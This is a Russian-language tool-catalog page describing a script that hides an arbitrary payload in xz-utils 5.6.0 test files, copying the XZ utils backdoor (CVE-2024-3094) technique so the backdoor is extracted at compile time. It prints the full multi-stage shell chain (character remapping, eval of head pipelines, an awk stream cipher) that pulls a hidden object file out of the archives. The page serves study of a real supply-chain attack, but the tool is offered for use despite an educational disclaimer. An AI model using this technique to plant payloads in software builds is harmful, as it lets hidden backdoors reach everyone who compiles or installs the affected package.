Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
xzutils_backdoor_obfuscation — Скрипт для обфускации пейлоада так же, как это было сделано в ходе атаки на XZ utils (CVE-2024-3094) | Kitploit
Инструменты/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ЭксплуатацияОбратная инженерияАнализ вредоносных программБезопасность Цепочки ПоставокОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubthomrgn/xzutils_backdoor_obfuscation

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

xzutils_backdoor_obfuscation

Скрипт для обфускации пейлоада так же, как это было сделано в ходе атаки на XZ utils (CVE-2024-3094)

Репозиторий
10 месяцев назадЕщё не проверено

xzutils_backdoor_obfuscation

Этот скрипт воспроизводит технику обфускации, использованную в атаке на XZ utils (CVE-2024-3094). Он протестирован только для xzutils v5.6.0.

⚠️ Данный код предоставлен исключительно в образовательных целях и не должен использоваться для вредоносной деятельности. Используйте его на свой страх и риск. ⚠️

Предварительные требования

В рабочей папке должен находиться оригинальный файл good-large_compressed.lzma из xzutils 5.6.0.

Использование

Выполните следующую команду: ./obfuscate_payload.sh [your_payload]

Будет создан файл good-large_compressed.lzma.modified, который необходимо поместить в папку test/files исходного кода xzutils 5.6.0 под именем good-large_compressed.lzma. Затем бэкдор будет извлечён в процессе компиляции.

Ограничения

Данный код протестирован с отредактированным liblzma_la-crc64-fast.o того же размера, что и оригинал. Использование файла большего размера может не сработать, так как размер полезной нагрузки ограничен.

Деобфускация полезной нагрузки

Эта часть необязательна; она показывает, как деобфусцировать полезную нагрузку из good-large_compressed.lzma. Вы можете использовать её с оригинальным файлом или с файлом, созданным с помощью этого проекта.

Предварительные требования

В рабочей папке должны находиться оригинальные файлы good-large_compressed.lzma и bad-3-corrupt_lzma2.xz из xzutils 5.6.0.

Шаг 1: Извлечение скрипта, скрытого в bad-3-corrupt_lzma2.xz

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

В результате вы получите bash-скрипт, который выполнит шаг 2.

Шаг 2: Извлечение второго скрипта, скрытого в good-large_compressed.lzma

Выполните следующий код, взятый из вывода первого этапа:

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

В результате вы получите ещё один bash-скрипт, который выполнит шаг 3.

Шаг 3: Извлечение полезной нагрузки, скрытой в good-large_compressed.lzma

Выполните следующий код, взятый из вывода второго этапа.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Это извлечёт обфусцированную полезную нагрузку liblzma_la-crc64-fast.o.

Скачать инструмент